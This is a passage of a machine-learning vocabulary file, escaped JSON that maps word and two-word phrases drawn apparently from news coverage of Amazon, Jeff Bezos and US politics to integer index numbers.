\"immigrant populations\": 160416,\n  \"make toilet\": 160417,\n  \"belgrade mont\": 160418,\n  \"ginger\": 160419,\n  \"2017 deal\": 160420,\n  \"amazon importing\": 160421,\n  \"murray wash\": 160422,\n  \"realignment\": 160423,\n  \"000 persons\": 160424,\n  \"lighten\": 160425,\n  \"people reading\": 160426,\n  \"firms facebook\": 160427,\n  \"morning couple\": 160428,\n  \"amazon solely\": 160429,\n  \"litigation according\": 160430,\n  \"grows\": 160431,\n  \"laid waste\": 160432,\n  \"alexisgoldstein\": 160433,\n  \"woo\": 160434,\n  \"arbitrages\": 160435,\n  \"unable\": 160436,\n  \"public dollars\": 160437,\n  \"correctly points\": 160438,\n  \"following\": 160439,\n  \"digital communication\": 160440,\n  \"administration misled\": 160441,\n  \"hate big\": 160442,\n  \"trump stance\": 160443,\n  \"city neighbourhood\": 160444,\n  \"asset markets\": 160445,\n  \"charleston\": 160446,\n  \"bulletproof vest\": 160447,\n  \"bought indian\": 160448,\n  \"uncommonly\": 160449,\n  \"kleindienst\": 160450,\n  \"college point\": 160451,\n  \"folklore surrounding\": 160452,\n  \"caymans costing\": 160453,\n  \"majority nyt\": 160454,\n  \"smith says\": 160455,\n  \"media radio\": 160456,\n  \"protests cbs\": 160457,\n  \"amazon increasing\": 160458,\n  \"global websites\": 160459,\n  \"point hollenhorst\": 160460,\n  \"texas election\": 160461,\n  \"president benjamin\": 160462,\n  \"wording makes\": 160463,\n  \"newly adopted\": 160464,\n  \"status 946728546633953285\": 160465,\n  \"purchase product\": 160466,\n  \"tech economy\": 160467,\n  \"showing documentary\": 160468,\n  \"lara trump\": 160469,\n  \"burpp\": 160470,\n  \"lieberman released\": 160471,\n  \"degrading infrastructure\": 160472,\n  \"surrender\": 160473,\n  \"real journalists\": 160474,\n  \"stitchfix\": 160475,\n  \"indicated bounce\": 160476,\n  \"york list\": 160477,\n  \"receive 150\": 160478,\n  \"backed presidential\": 160479,\n  \"ceo lawrence\": 160480,\n  \"font\": 160481,\n  \"bureaucrats protected\": 160482,\n  \"pharmaceuticals\": 160483,\n  \"aldi\": 160484,\n  \"relevant environments\": 160485,\n  \"federal government\": 160486,\n  \"watergate did\": 160487,\n  \"legal protections\": 160488,\n  \"owners need\": 160489,\n  \"fine grain\": 160490,\n  \"harder trump\": 160491,\n  \"suggests europe\": 160492,\n  \"falsification\": 160493,\n  \"editions including\": 160494,\n  \"shanahan orders\": 160495,\n  \"apparently unlikely\": 160496,\n  \"playwright\": 160497,\n  \"totally\": 160498,\n  \"food trucks\": 160499,\n  \"perjury charges\": 160500,\n  \"beverages energy\": 160501,\n  \"amazon opponents\": 160502,\n  \"companies comcast\": 160503,\n  \"reps elijah\": 160504,\n  \"michael binetti\": 160505,\n  \"given jurisdiction\": 160506,\n  \"just mere\": 160507,\n  \"complete denial\": 160508,\n  \"natasha lindstrom\": 160509,\n  \"democracy 1237872\": 160510,\n  \"assault charges\": 160511,\n  \"interests bolsonaro\": 160512,\n  \"expressed complete\": 160513,\n  \"joy behar\": 160514,\n  \"completely contradict\": 160515,\n  \"language contains\": 160516,\n  \"day isnt\": 160517,\n  \"trump silence\": 160518,\n  \"matter ending\": 160519,\n  \"bezoses met\": 160520,\n  \"additional criticisms\": 160521,\n  \"organizations according\": 160522,\n  \"bezos eclipse\": 160523,\n  \"patented electronic\": 160524,\n  \"whipping\": 160525,\n  \"outside white\": 160526,\n  \"president ridiculed\": 160527,\n  \"argentine\": 160528,\n  \"campaign featuring\": 160529,\n  \"century version\": 160530,\n  \"mideast\": 160531,\n  \"ousting nicol\\u00e1s\": 160532,\n  \"impute\": 160533,\n  \"lauded amazon\": 160534,\n  \"kept social\": 160535,\n  \"high temperatures\": 160536,\n  \"class mail\": 160537,\n  \"bipartisan investing\": 160538,\n  \"synonymous\": 160539,\n  \"griffeth speaking\": 160540,\n  \"peaceful future\": 160541,\n  \"individual shareholders\": 160542,\n  \"accusing\": 160543,\n  \"congratulating\": 160544,\n  \"anonymous deaths\": 160545,\n  \"customers kroger\": 160546,\n  \"heat salt\": 160547,\n  \"foy\": 160548,\n  \"330 million\": 160549,\n  \"power high\": 160550,\n  \"simple battery\": 160551,\n  \"klean\": 160552,\n  \"cattle pasture\": 160553,\n  \"analysis\": 160554,\n  \"gennady golovkin\": 160555,\n  \"retain senate\": 160556,\n  \"magazine latest\": 160557,\n  \"outsiders note\": 160558,\n  \"renewed efforts\": 160559,\n  \"shilling sees\": 160560,\n  \"led lower\": 160561,\n  \"bizarre strand\": 160562,\n  \"gone viral\": 160563,\n  \"democrat progressive\": 160564,\n  \"policy reach\": 160565,\n  \"clerks using\": 160566,\n  \"vendettas score\": 160567,\n  \"win anybody\": 160568,\n  \"walker campaign\": 160569,\n  \"overstating\": 160570,\n  \"claiming 303\": 160571,\n  \"buzzsaw written\": 160572,\n  \"president feels\": 160573,\n  \"statement apple\": 160574,\n  \"conagra reported\": 160575,\n  \"times earlier\": 160576,\n  \"hypersensitive hearing\": 160577,\n  \"selfies sent\": 160578,\n  \"recent moves\": 160579,\n  \"driving legislation\": 160580,\n  \"driven initiative\": 160581,\n  \"news free\": 160582,\n  \"davidson did\": 160583,\n  \"gantry\": 160584,\n  \"popular posts\": 160585,\n  \"succeed experts\": 160586,\n  \"insider speculation\": 160587,\n  \"eclipse 230\": 160588,\n  \"q1fy15\": 160589,\n  \"amr alfiky\": 160590,\n  \"office michael\": 160591,\n  \"democrats notes\": 160592,\n  \"benefit jobs\": 160593,\n  \"age led\": 160594,\n  \"poach fedex\": 160595,\n  \"head steve\": 160596,\n  \"storynow\": 160597,\n  \"blackout\": 160598,\n  \"goods manufacturing\": 160599,\n  \"refund progressives\": 160600,\n  \"old wash\": 160601,\n  \"bein\": 160602,\n  \"just attacked\": 160603,\n  \"important google\": 160604,\n  \"facebooktwittergoogle linkedin\": 160605,\n  \"stopped investigating\": 160606,\n  \"copyrighted\": 160607,\n  \"cicilline called\": 160608,\n  \"lc2kgo6men pic\": 160609,\n  \"remain unchecked\": 160610,\n  \"empathetic\": 160611,\n  \"yerger\": 160612,\n  \"company grows\": 160613,\n  \"010 shares\": 160614,\n  \"liberal democrat\": 160615,\n  \"city exports\": 160616,\n  \"selecting nashville\": 160617,\n  \"bezos takedown\": 160618,\n  \"states discussed\": 160619,\n  \"trade written\": 160620,\n  \"cement taylor\": 160621,\n  \"process trump\": 160622,\n  \"lucrative tax\": 160623,\n  \"frustration\": 160624,\n  \"personal vendetta\": 160625,\n  \"employs 613\": 160626,\n  \"bothering\": 160627,\n  \"addictions\": 160628,\n  \"lesser\": 160629,\n  \"committee allocations\": 160630,\n  \"calif hire\": 160631,\n  \"cover reached\": 160632,\n  \"planet just\": 160633,\n  \"postal reforms\": 160634,\n  \"mendes opens\": 160635,\n  \"friendly relationship\": 160636,\n  \"alphabet parent\": 160637,\n  \"armed conflict\": 160638,\n  \"chin far\": 160639,\n  \"rents forcing\": 160640,\n  \"told crowd\": 160641,\n  \"slight margin\": 160642,\n  \"cards jovan\": 160643,\n  \"nominee nick\": 160644,\n  \"teacher strike\": 160645,\n  \"catastrophic environmental\": 160646,\n  \"dhs began\": 160647,\n  \"concluded spokespeople\": 160648,\n  \"strongly defended\": 160649,\n  \"sodomy\": 160650,\n  \"trump items\": 160651,\n  \"ami knew\": 160652,\n  \"western won\": 160653,\n  \"american workforce\": 160654,\n  \"packages claiming\": 160655,\n  \"500 hires\": 160656,\n  \"nicholas\": 160657,\n  \"joseph joseph\": 160658,\n  \"opponents feel\": 160659,\n  \"rowdy protest\": 160660,\n  \"paramount pictures\": 160661,\n  \"workforce advisory\": 160662,\n  \"good fight\": 160663,\n  \"khanna fremont\": 160664,\n  \"665mm\": 160665,\n  \"idealogical diversity\": 160666,\n  \"drugs chief\": 160667,\n  \"public humiliation\": 160668,\n  \"cavorting\": 160669,\n  \"supremacists\": 160670,\n  \"outdoors goods\": 160671,\n  \"amazon needs\": 160672,\n  \"equitable community\": 160673,\n  \"sanders numerous\": 160674,\n  \"becker dylan\": 160675,\n  \"health ranger\": 160676,\n  \"pilgrimage california\": 160677,\n  \"redistricting harry\": 160678,\n  \"easley senior\": 160679,\n  \"st basil\": 160680,\n  \"reconcile\": 160681,\n  \"rappler\": 160682,\n  \"care business\": 160683,\n  \"sources spokesman\": 160684,\n  \"charts cdc_5ce292595c0ee1373097e27d_embed\": 160685,\n  \"neighborhood amazon\": 160686,\n  \"deal arguing\": 160687,\n  \"just keeps\": 160688,\n  \"tong\": 160689,\n  \"pushing nude\": 160690,\n  \"allen team\": 160691,\n  \"seller services\": 160692,\n  \"losing faith\": 160693,\n  \"moisture\": 160694,\n  \"rating currently\": 160695,\n  \"revenue usps\": 160696,\n  \"getty photos\": 160697,\n  \"chipotle\": 160698,\n  \"justice commerce\": 160699,\n  \"cringely\": 160700,\n  \"twee\": 160701,\n  \"suspicious packages\": 160702,\n  \"starting blue\": 160703,\n  \"ferocious\": 160704,\n  \"goods retailer\": 160705,\n  \"partner stamps\": 160706,\n  \"better infrastructure\": 160707,\n  \"twelfth consecutive\": 160708,\n  \"oil near\": 160709,\n  \"width 780\": 160710,\n  \"finally getting\": 160711,\n  \"capitol building\": 160712,\n  \"recommended raising\": 160713,\n  \"demands scarborough\": 160714,\n  \"redevelopment\": 160715,\n  \"brightest minds\": 160716,\n  \"brazil colombia\": 160717,\n  \"start creating\": 160718,\n  \"andyou saw\": 160719,\n  \"existing leadership\": 160720,\n  \"preliminary basis\": 160721,\n  \"amazon lore\": 160722,\n  \"amazon fired\": 160723,\n  \"pick yourterm\": 160724,\n  \"historic turn\": 160725,\n  \"disproportionately\": 160726,\n  \"order dispensing\": 160727,\n  \"wisconsin gop\": 160728,\n  \"largest manufacturer\": 160729,\n  \"footwear\": 160730,\n  \"solace\": 160731,\n  \"months away\": 160732,\n  \"trs0 _nkw\": 160733,\n  \"trust owns\": 160734,\n  \"company growing\": 160735,\n  \"individual advice\": 160736,\n  \"channels\": 160737,\n  \"working hard\": 160738,\n  \"unavailable forcing\": 160739,\n  \"immediately reply\": 160740,\n  \"transport charges\": 160741,\n  \"members questions\": 160742,\n  \"academy mgmt\": 160743,\n  \"driver shot\": 160744,\n  \"president pressure\": 160745,\n  \"workers hourly\": 160746,\n  \"abuse crony\": 160747,\n  \"youth bake\": 160748,\n  \"siri\": 160749,\n  \"trump china\": 160750,\n  \"court kyl\": 160751,\n  \"pretty early\": 160752,\n  \"lying coming\": 160753,\n  \"perceived anti\": 160754,\n  \"amazon provide\": 160755,\n  \"instances dating\": 160756,\n  \"simple win\": 160757,\n  \"individual stocks\": 160758,\n  \"published weekday\": 160759,\n  \"keyboard\": 160760,\n  \"lockport\": 160761,\n  \"blackburn tennessee\": 160762,\n  \"claims does\": 160763,\n  \"department saying\": 160764,\n  \"cristian\": 160765,\n  \"current stock\": 160766,\n  \"reflected feelgoods\": 160767,\n  \"away smith\": 160768,\n  \"ceramic read\": 160769,\n  \"pay checked\": 160770,\n  \"year investigation\": 160771,\n  \"mobil corp\": 160772,\n  \"fraudulently\": 160773,\n  \"1q\": 160774,\n  \"failing company\": 160775,\n  \"creates 000\": 160776,\n  \"just small\": 160777,\n  \"little doubt\": 160778,\n  \"catfish\": 160779,\n  \"trump greenberg\": 160780,\n  \"misleading posts\": 160781,\n  \"hobbs\": 160782,\n  \"scuffle\": 160783,\n  \"nerve bezos\": 160784,\n  \"economy strengthened\": 160785,\n  \"limited owns\": 160786,\n  \"absurdity\": 160787,\n  \"thriller atria\": 160788,\n  \"historical cah\": 160789,\n  \"school authorities\": 160790,\n  \"government embedded\": 160791,\n  \"sullivan wapo\": 160792,\n  \"service loses\": 160793,\n  \"1995 amazon\": 160794,\n  \"2013 news\": 160795,\n  \"citigroup jp\": 160796,\n  \"schatz news\": 160797,\n  \"fashion prompting\": 160798,\n  \"lmpressive\": 160799,\n  \"strained trading\": 160800,\n  \"hardly filled\": 160801,\n  \"special warn\": 160802,\n  \"held events\": 160803,\n  \"want governor\": 160804,\n  \"forums making\": 160805,\n  \"8217 canadian\": 160806,\n  \"regain\": 160807,\n  \"daily discourse\": 160808,\n  \"wilkes\": 160809,\n  \"note bezos\": 160810,\n  \"prices need\": 160811,\n  \"lunar surface\": 160812,\n  \"830\": 160813,\n  \"mock man\": 160814,\n  \"greed extortion\": 160815,\n  \"hollywood reputation\": 160816,\n  \"567k\": 160817,\n  \"abc news\": 160818,\n  \"2018 kind\": 160819,\n  \"doesn require\": 160820,\n  \"allen weisselberg\": 160821,\n  \"won vote\": 160822,\n  \"t000023123\": 160823,\n  \"won ban\": 160824,\n  \"shift things\": 160825,\n  \"online bookseller\": 160826,\n  \"international lead\": 160827,\n  \"erodes public\": 160828,\n  \"combative relationship\": 160829,\n  \"considerable market\": 160830,\n  \"unclear zinke\": 160831,\n  \"invest tremendous\": 160832,\n  \"rowdy\": 160833,\n  \"triggered federal\": 160834,\n  \"voor je\": 160835,\n  \"dawns\": 160836,\n  \"improvised explosive\": 160837,\n  \"enquirer attorney\": 160838,\n  \"office gives\": 160839,\n  \"telling audiences\": 160840,\n  \"safety risks\": 160841,\n  \"killer 2018\": 160842,\n  \"prioritize negative\": 160843,\n  \"group tax\": 160844,\n  \"hungary including\": 160845,\n  \"mini version\": 160846,\n  \"announced mayor\": 160847,\n  \"questions shares\": 160848,\n  \"mod article_inline\": 160849,\n  \"boss doesn\": 160850,\n  \"biomes\": 160851,\n  \"echo health\": 160852,\n  \"ordo\\u00f1ez\": 160853,\n  \"little companies\": 160854,\n  \"separately\": 160855,\n  \"smackdown\": 160856,\n  \"recent speech\": 160857,\n  \"highly competitive\": 160858,\n  \"causing inequality\": 160859,\n  \"128gb\": 160860,\n  \"cases saw\": 160861,\n  \"979 billion\": 160862,\n  \"outranks\": 160863,\n  \"outdated policies\": 160864,\n  \"zealand town\": 160865,\n  \"goods worth\": 160866,\n  \"fair price\": 160867,\n  \"unbecoming margery\": 160868,\n  \"gao explains\": 160869,\n  \"issues expected\": 160870,\n  \"best book\": 160871,\n  \"losers\": 160872,\n  \"subscription boxes\": 160873,\n  \"finagling\": 160874,\n  \"concerns sinclair\": 160875,\n  \"brilliant detective\": 160876,\n  \"taxes insurance\": 160877,\n  \"minimal reporting\": 160878,\n  \"senior insiders\": 160879,\n  \"men writes\": 160880,\n  \"floridahealth gov\": 160881,\n  \"spans lake\": 160882,\n  \"grew slower\": 160883,\n  \"afghan war\": 160884,\n  \"heffx holds\": 160885,\n  \"unsuccessfully opposed\": 160886,\n  \"familiar phrase\": 160887,\n  \"really difficult\": 160888,\n  \"rejected maxsa\": 160889,\n  \"competition heavy\": 160890,\n  \"advantage forbesbooks\": 160891,\n  \"amid fallout\": 160892,\n  \"company plot\": 160893,\n  \"mover\": 160894,\n  \"bezos probably\": 160895,\n  \"ground amazon\": 160896,\n  \"president unwillingness\": 160897,\n  \"contrarians\": 160898,\n  \"linskey\": 160899,\n  \"waffling answers\": 160900,\n  \"workforce training\": 160901,\n  \"senior national\": 160902,\n  \"antitrust charges\": 160903,\n  \"jeffrey reynolds\": 160904,\n  \"tech centric\": 160905,\n  \"ideology environment\": 160906,\n  \"investigating democrats\": 160907,\n  \"manager amazon\": 160908,\n  \"stephen ansolabehere\": 160909,\n  \"iraqi\": 160910,\n  \"republican contributions\": 160911,\n  \"goofy pair\": 160912,\n  \"prosecutors examined\": 160913,\n  \"greed notable\": 160914,\n  \"making aramco\": 160915,\n  \"mcdaniel release\": 160916,\n  \"scrap\": 160917,\n  \"home category\": 160918,\n  \"absorbed blistering\": 160919,\n  \"cellphone upgrade\": 160920,\n  \"amazon typically\": 160921,\n  \"aide\": 160922,\n  \"mounting toll\": 160923,\n  \"shipping price\": 160924,\n  \"year stephenson\": 160925,\n  \"service jeff\": 160926,\n  \"government ent\": 160927,\n  \"fake cnn\": 160928,\n  \"strategically\": 160929,\n  \"trump losses\": 160930,\n  \"astros\": 160931,\n  \"charge consumers\": 160932,\n  \"medium blog\": 160933,\n  \"status 1018939686121861120\": 160934,\n  \"additional round\": 160935,\n  \"residue\": 160936,\n  \"storyteller accent\": 160937,\n  \"usaid\": 160938,\n  \"tannen\": 160939,\n  \"unknown right\": 160940,\n  \"ago marlins\": 160941,\n  \"resulting\": 160942,\n  \"individuals challenging\": 160943,\n  \"awake\": 160944,\n  \"education says\": 160945,\n  \"history just\": 160946,\n  \"blame president\": 160947,\n  \"prime hour\": 160948,\n  \"condemnation having\": 160949,\n  \"turned negative\": 160950,\n  \"outdated computers\": 160951,\n  \"regulatory state\": 160952,\n  \"court ruling\": 160953,\n  \"man trump\": 160954,\n  \"display stand\": 160955,\n  \"cloudfront net\": 160956,\n  \"sadler added\": 160957,\n  \"associates question\": 160958,\n  \"based singer\": 160959,\n  \"amazon page\": 160960,\n  \"amazon challenge\": 160961,\n  \"americans amidst\": 160962,\n  \"different business\": 160963,\n  \"york executive\": 160964,\n  \"ecl segall\": 160965,\n  \"limited united\": 160966,\n  \"cortana simultaneously\": 160967,\n  \"pulls investment\": 160968,\n  \"leadership team\": 160969,\n  \"story look\": 160970,\n  \"dsp\": 160971,\n  \"hashtag amazonwashingtonpost\": 160972,\n  \"545\": 160973,\n  \"radicalized son\": 160974,\n  \"lived opportunity\": 160975,\n  \"oil business\": 160976,\n  \"leads right\": 160977,\n  \"videotape rahel\": 160978,\n  \"2017 puts\": 160979,\n  \"avod space\": 160980,\n  \"false indicatorstoggle\": 160981,\n  \"vocal critic\": 160982,\n  \"eu complaint\": 160983,\n  \"priority mail\": 160984,\n  \"analysts led\": 160985,\n  \"chicago mayor\": 160986,\n  \"threats 2018\": 160987,\n  \"foreign 1b\": 160988,\n  \"zones\": 160989,\n  \"price trump\": 160990,\n  \"trump clearly\": 160991,\n  \"twitter suspended\": 160992,\n  \"permission declared\": 160993,\n  \"deliver campaign\": 160994,\n  \"targeting syrian\": 160995,\n  \"include structural\": 160996,\n  \"alina selyukh\": 160997,\n  \"different ecommerce\": 160998,\n  \"want multiple\": 160999,\n  \"tweeting habits\": 161000,\n  \"taxpayer subsidized\": 161001,\n  \"bezos lawyer\": 161002,\n  \"deep value\": 161003,\n  \"development told\": 161004,\n  \"trees mean\": 161005,\n  \"submit workplace\": 161006,\n  \"n8 la\": 161007,\n  \"d\\u00e9cor sporting\": 161008,\n  \"metro manila\": 161009,\n  \"considering action\": 161010,\n  \"address concerns\": 161011,\n  \"immersive distraction\": 161012,\n  \"help fulfill\": 161013,\n  \"blind trust\": 161014,\n  \"image source\": 161015,\n  \"ricin letter\": 161016,\n  \"famous dad\": 161017,\n  \"toronto typically\": 161018,\n  \"twitch channel\": 161019,\n  \"profile hasn\": 161020,\n  \"fed james\": 161021,\n  \"video__end\": 161022,\n  \"100 frameheight\": 161023,\n  \"free easy\": 161024,\n  \"frequently attacking\": 161025,\n  \"minded administration\": 161026,\n  \"manual recount\": 161027,\n  \"markupid autostartvideo\": 161028,\n  \"strong offline\": 161029,\n  \"anti celebrity\": 161030,\n  \"series sees\": 161031,\n  \"partisan center\": 161032,\n  \"media dan\": 161033,\n  \"superpower\": 161034,\n  \"sec valicenti\": 161035,\n  \"categories milk\": 161036,\n  \"verifies\": 161037,\n  \"jacksonville\": 161038,\n  \"ske\": 161039,\n  \"caucus trump\": 161040,\n  \"nuts\": 161041,\n  \"leader events\": 161042,\n  \"wi\": 161043,\n  \"security forum\": 161044,\n  \"lehrer right\": 161045,\n  \"amalgamation\": 161046,\n  \"maker product\": 161047,\n  \"california smoke\": 161048,\n  \"travel travelist\": 161049,\n  \"ordinary citizen\": 161050,\n  \"sea bezos\": 161051,\n  \"entertainment\": 161052,\n  \"attitudes\": 161053,\n  \"nuke deal\": 161054,\n  \"corporate giant\": 161055,\n  \"young mark\": 161056,\n  \"mick\": 161057,\n  \"pissing\": 161058,\n  \"world wine\": 161059,\n  \"isn super\": 161060,\n  \"employees asked\": 161061,\n  \"ursula\": 161062,\n  \"wash slave\": 161063,\n  \"serving democratic\": 161064,\n  \"mayor alicia\": 161065,\n  \"visible transparent\": 161066,\n  \"ceo role\": 161067,\n  \"2016 bid\": 161068,\n  \"plaats bij\": 161069,\n  \"dire need\": 161070,\n  \"small piece\": 161071,\n  \"fucking\": 161072,\n  \"colbert joked\": 161073,\n  \"business sourcelink\": 161074,\n  \"executives sit\": 161075,\n  \"usa senior\": 161076,\n  \"2019 cont\": 161077,\n  \"tweet storm\": 161078,\n  \"guesswork based\": 161079,\n  \"great foreign\": 161080,\n  \"shaped\": 161081,\n  \"cha cha\": 161082,\n  \"reaganbattalion\": 161083,\n  \"daimler shares\": 161084,\n  \"smith ian\": 161085,\n  \"disclosed aws\": 161086,\n  \"performance officer\": 161087,\n  \"drop read\": 161088,\n  \"reconstruction\": 161089,\n  \"major tax\": 161090,\n  \"documents related\": 161091,\n  \"business health\": 161092,\n  \"approvals process\": 161093,\n  \"common types\": 161094,\n  \"share bought\": 161095,\n  \"blaise kidasharira\": 161096,\n  \"daytime runnings\": 161097,\n  \"provided indirect\": 161098,\n  \"potentially positive\": 161099,\n  \"policy rates\": 161100,\n  \"vampire squids\": 161101,\n  \"northumbria university\": 161102,\n  \"breaks essentially\": 161103,\n  \"unemployment crime\": 161104,\n  \"agencies using\": 161105,\n  \"calls immigrants\": 161106,\n  \"networks enhances\": 161107,\n  \"clark emailed\": 161108,\n  \"racing film\": 161109,\n  \"new 119\": 161110,\n  \"investigating uranium\": 161111,\n  \"big step\": 161112,\n  \"rethought\": 161113,\n  \"goldberg died\": 161114,\n  \"liberal causes\": 161115,\n  \"supported politicians\": 161116,\n  \"stores especially\": 161117,\n  \"nsa\": 161118,\n  \"ariz nearly\": 161119,\n  \"fixation\": 161120,\n  \"talks ocean\": 161121,\n  \"johnmcdonnellmp\": 161122,\n  \"sanitation\": 161123,\n  \"raise package\": 161124,\n  \"significant\": 161125,\n  \"disclosed\": 161126,\n  \"trump mulls\": 161127,\n  \"identify changes\": 161128,\n  \"precise locations\": 161129,\n  \"abraham\": 161130,\n  \"esoteric\": 161131,\n  \"browder putin\": 161132,\n  \"land clearing\": 161133,\n  \"tropics\": 161134,\n  \"jupiter\": 161135,\n  \"keeps cashing\": 161136,\n  \"imprecise\": 161137,\n  \"149\": 161138,\n  \"96th closed\": 161139,\n  \"including enrolling\": 161140,\n  \"lp\": 161141,\n  \"rubenstein bezos\": 161142,\n  \"nicole darrah\": 161143,\n  \"long war\": 161144,\n  \"108 billion\": 161145,\n  \"hand man\": 161146,\n  \"wien\": 161147,\n  \"bochy career\": 161148,\n  \"jacobs senior\": 161149,\n  \"technology writers\": 161150,\n  \"tapping\": 161151,\n  \"schism\": 161152,\n  \"pecker donald\": 161153,\n  \"mycolleague alison\": 161154,\n  \"website says\": 161155,\n  \"lynn elber\": 161156,\n  \"nation seats\": 161157,\n  \"remained solidly\": 161158,\n  \"gertz mattgertz\": 161159,\n  \"don matter\": 161160,\n  \"tissue ingredients\": 161161,\n  \"om malik\": 161162,\n  \"best damn\": 161163,\n  \"public high\": 161164,\n  \"waterfront ferry\": 161165,\n  \"reign\": 161166,\n  \"hire investigators\": 161167,\n  \"believe bezos\": 161168,\n  \"walmart territory\": 161169,\n  \"current investigation\": 161170,\n  \"numerous demands\": 161171,\n  \"illustration\": 161172,\n  \"soak\": 161173,\n  \"cnn amazon\": 161174,\n  \"fierce competitive\": 161175,\n  \"order sets\": 161176,\n  \"gray suit\": 161177,\n  \"numerous indigenous\": 161178,\n  \"moving trampoline\": 161179,\n  \"cuts\": 161180,\n  \"justices impartiality\": 161181,\n  \"ceo daniel\": 161182,\n  \"stop political\": 161183,\n  \"include wallbridge\": 161184,\n  \"demand amid\": 161185,\n  \"o1 a4ee\": 161186,\n  \"message landed\": 161187,\n  \"states main\": 161188,\n  \"clear contempt\": 161189,\n  \"nonunion workers\": 161190,\n  \"attorney rudy\": 161191,\n  \"bulk sales\": 161192,\n  \"trump followers\": 161193,\n  \"etailer\": 161194,\n  \"informed public\": 161195,\n  \"immigrants new\": 161196,\n  \"resurgence despite\": 161197,\n  \"reuters points\": 161198,\n  \"state trooper\": 161199,\n  \"dirty war\": 161200,\n  \"voters asking\": 161201,\n  \"exchange ami\": 161202,\n  \"choosing toronto\": 161203,\n  \"producers\": 161204,\n  \"haven mom\": 161205,\n  \"riverdale netflix\": 161206,\n  \"bezos strikes\": 161207,\n  \"claims telling\": 161208,\n  \"2024 reports\": 161209,\n  \"crews dig\": 161210,\n  \"road projects\": 161211,\n  \"family used\": 161212,\n  \"reported better\": 161213,\n  \"stream yankees\": 161214,\n  \"profits drop\": 161215,\n  \"shopping cart\": 161216,\n  \"giants following\": 161217,\n  \"accurate democratic\": 161218,\n  \"pune ashram\": 161219,\n  \"apparent allegation\": 161220,\n  \"2018 andy\": 161221,\n  \"chinese jobs\": 161222,\n  \"based war\": 161223,\n  \"search 238\": 161224,\n  \"state law\": 161225,\n  \"helping create\": 161226,\n  \"rekognition program\": 161227,\n  \"franklin stephen\": 161228,\n  \"therussian\": 161229,\n  \"reporters committee\": 161230,\n  \"q2 2019\": 161231,\n  \"simply tissue\": 161232,\n  \"minister malcolm\": 161233,\n  \"dirty work\": 161234,\n  \"sound choices\": 161235,\n  \"operatives ami\": 161236,\n  \"process president\": 161237,\n  \"stock trading\": 161238,\n  \"1549579861000\": 161239,\n  \"collect\": 161240,\n  \"spectrum president\": 161241,\n  \"self proclaimed\": 161242,\n  \"corporate advantage\": 161243,\n  \"really fought\": 161244,\n  \"boe released\": 161245,\n  \"claims calling\": 161246,\n  \"takes effect\": 161247,\n  \"strong competition\": 161248,\n  \"videocardcontents getcurrentvideocardcontents\": 161249,\n  \"d4a\": 161250,\n  \"billion investment\": 161251,\n  \"spot amazon\": 161252,\n  \"hardball pair\": 161253,\n  \"grossman\": 161254,\n  \"raises dividend\": 161255,\n  \"ago ge\": 161256,\n  \"divisive personal\": 161257,\n  \"kudlow photo\": 161258,\n  \"make computer\": 161259,\n  \"innovation district\": 161260,\n  \"flys\": 161261,\n  \"oks disaster\": 161262,\n  \"wider swath\": 161263,\n  \"ives\": 161264,\n  \"people did\": 161265,\n  \"instinet\": 161266,\n  \"bathroom policy\": 161267,\n  \"southeast memphis\": 161268,\n  \"000 points\": 161269,\n  \"blocks\": 161270,\n  \"director russell\": 161271,\n  \"jeff vice\": 161272,\n  \"getting freaked\": 161273,\n  \"prior read\": 161274,\n  \"kunal\": 161275,\n  \"charges louisiana\": 161276,\n  \"state used\": 161277,\n  \"stardom\": 161278,\n  \"times notably\": 161279,\n  \"rubbish\": 161280,\n  \"younger bush\": 161281,\n  \"law doj\": 161282,\n  \"entry died\": 161283,\n  \"reported profits\": 161284,\n  \"book focuses\": 161285,\n  \"current market\": 161286,\n  \"economy amazon\": 161287,\n  \"times says\": 161288,\n  \"user information\": 161289,\n  \"garnered plenty\": 161290,\n  \"accounts according\": 161291,\n  \"forward brian\": 161292,\n  \"column burroughs\": 161293,\n  \"amber\": 161294,\n  \"turned collaborator\": 161295,\n  \"amazon polly\": 161296,\n  \"popular politician\": 161297,\n  \"face unique\": 161298,\n  \"past finds\": 161299,\n  \"famously frugal\": 161300,\n  \"networking switches\": 161301,\n  \"undeterred sanders\": 161302,\n  \"lawyer comments\": 161303,\n  \"bezos totally\": 161304,\n  \"illegal state\": 161305,\n  \"series scrutinizing\": 161306,\n  \"da jim\": 161307,\n  \"documents appear\": 161308,\n  \"ongoing tweets\": 161309,\n  \"troves\": 161310,\n  \"story including\": 161311,\n  \"lgbtq communities\": 161312,\n  \"plumbed\": 161313,\n  \"dear tech\": 161314,\n  \"making little\": 161315,\n  \"house foreign\": 161316,\n  \"embarrassing\": 161317,\n  \"locates\": 161318,\n  \"particularly fair\": 161319,\n  \"sanctions reimposed\": 161320,\n  \"iowans\": 161321,\n  \"unarmed friend\": 161322,\n  \"usps pricing\": 161323,\n  \"appropriate according\": 161324,\n  \"activity including\": 161325,\n  \"making disastrous\": 161326,\n  \"studiom\": 161327,\n  \"york department\": 161328,\n  \"asc services\": 161329,\n  \"wrong sports\": 161330,\n  \"quarshie\": 161331,\n  \"mercosur south\": 161332,\n  \"months ibd\": 161333,\n  \"fy17 results\": 161334,\n  \"sourcebusiness insider\": 161335,\n  \"receive sanders\": 161336,\n  \"merck research\": 161337,\n  \"resolving conflict\": 161338,\n  \"levy owns\": 161339,\n  \"originators\": 161340,\n  \"intersectionality\": 161341,\n  \"western massachusetts\": 161342,\n  \"jokes rachel\": 161343,\n  \"captures videos\": 161344,\n  \"shown stamina\": 161345,\n  \"disinformation extremism\": 161346,\n  \"formula hasn\": 161347,\n  \"new flight\": 161348,\n  \"enlist regional\": 161349,\n  \"roots amid\": 161350,\n  \"reflexively backing\": 161351,\n  \"gordon\": 161352,\n  \"conducted\": 161353,\n  \"thorny\": 161354,\n  \"crain children\": 161355,\n  \"business successes\": 161356,\n  \"new population\": 161357,\n  \"widowed\": 161358,\n  \"removed legal\": 161359,\n  \"morgan stanley\": 161360,\n  \"4c11b827 dc2b\": 161361,\n  \"forefront\": 161362,\n  \"lot john\": 161363,\n  \"1st district\": 161364,\n  \"making icann\": 161365,\n  \"value exchanges\": 161366,\n  \"dunn forwarded\": 161367,\n  \"statements make\": 161368,\n  \"function l9x\": 161369,\n  \"sul\": 161370,\n  \"shy\": 161371,\n  \"remained\": 161372,\n  \"osteen talk\": 161373,\n  \"amazon bridge\": 161374,\n  \"using intimate\": 161375,\n  \"nashville letter\": 161376,\n  \"texas author\": 161377,\n  \"lc bluefin\": 161378,\n  \"algorithm undermining\": 161379,\n  \"america high\": 161380,\n  \"euro possibility\": 161381,\n  \"care obligations\": 161382,\n  \"aerospace commerce\": 161383,\n  \"trashing\": 161384,\n  \"arabian\": 